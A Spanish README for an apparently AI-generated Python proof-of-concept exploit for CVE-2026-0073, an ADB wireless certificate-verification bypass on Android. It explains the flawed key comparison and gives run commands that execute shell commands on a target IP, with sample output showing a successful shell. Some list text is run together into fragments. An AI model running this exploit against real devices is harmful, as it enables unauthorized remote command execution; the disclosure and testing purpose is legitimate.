
CVE-2026-0073 - Bypass de Autenticación Mutua Inalámbrica de ADB PoC
Este directorio contiene un proof of concept en Python para CVE-2026-0073.
El script se genera mediante técnicas de generación de código asistidas por IA.
CVE-2026-0073 es un problema de lógica en la verificación de certificados del demonio ADB (adbd_tls_verify_cert en auth.cpp).
La comprobación vulnerable trata cualquier valor distinto de cero devuelto por EVP_PKEY_cmp(...) como una coincidencia exitosa.
El manejo esperado del resultado de la comparación debería ser:
1 = las claves coinciden0 = las claves no coincidenEn builds vulnerables, los valores negativos se tratan como verdadero y pueden marcar incorrectamente un certificado como autorizado.
poc-cve-2026-0073.pyEl script:
ec o ed25519).shell: con fallback exec:).cryptographyInstalar dependencia:
pip install cryptography
Descubrir servicio ADB objetivo (si es necesario):
adb mdns services
Ejecutar el PoC:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
Argumentos:
target_ip: Dirección IP del dispositivo Android objetivoport: Puerto ADB (por defecto: 5555)command: Comando a ejecutar (por defecto: id)key_type: ec o ed25519 (por defecto: ec)--verbose: Habilita registros de depuración del protocoloEjemplos:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Abriendo servicio: 'shell:id'
[*] Después de OPEN, recibido: OKAY arg0=2 data=b''
[+] Flujo abierto (local_id=1, remote_id=2)
[+] Salida del comando:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Explotación exitosa.
Connection refused
certificate_unknown
Tiempo de espera agotado al esperar respuestas
--verbose para trazas a nivel de paquete.El nivel de parche de seguridad base del sistema operativo y el parcheo de módulos Mainline pueden diferir. Un dispositivo puede mostrar un SPL mensual más antiguo mientras recibe correcciones más nuevas del módulo ADB.
Comprobaciones útiles:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Utilice este PoC únicamente en entornos autorizados (dispositivos de laboratorio propios, permiso explícito o pruebas sancionadas). No ejecute esto contra sistemas que no posea o para los que no tenga autorización por escrito para realizar pruebas.
daemon/auth.cpp)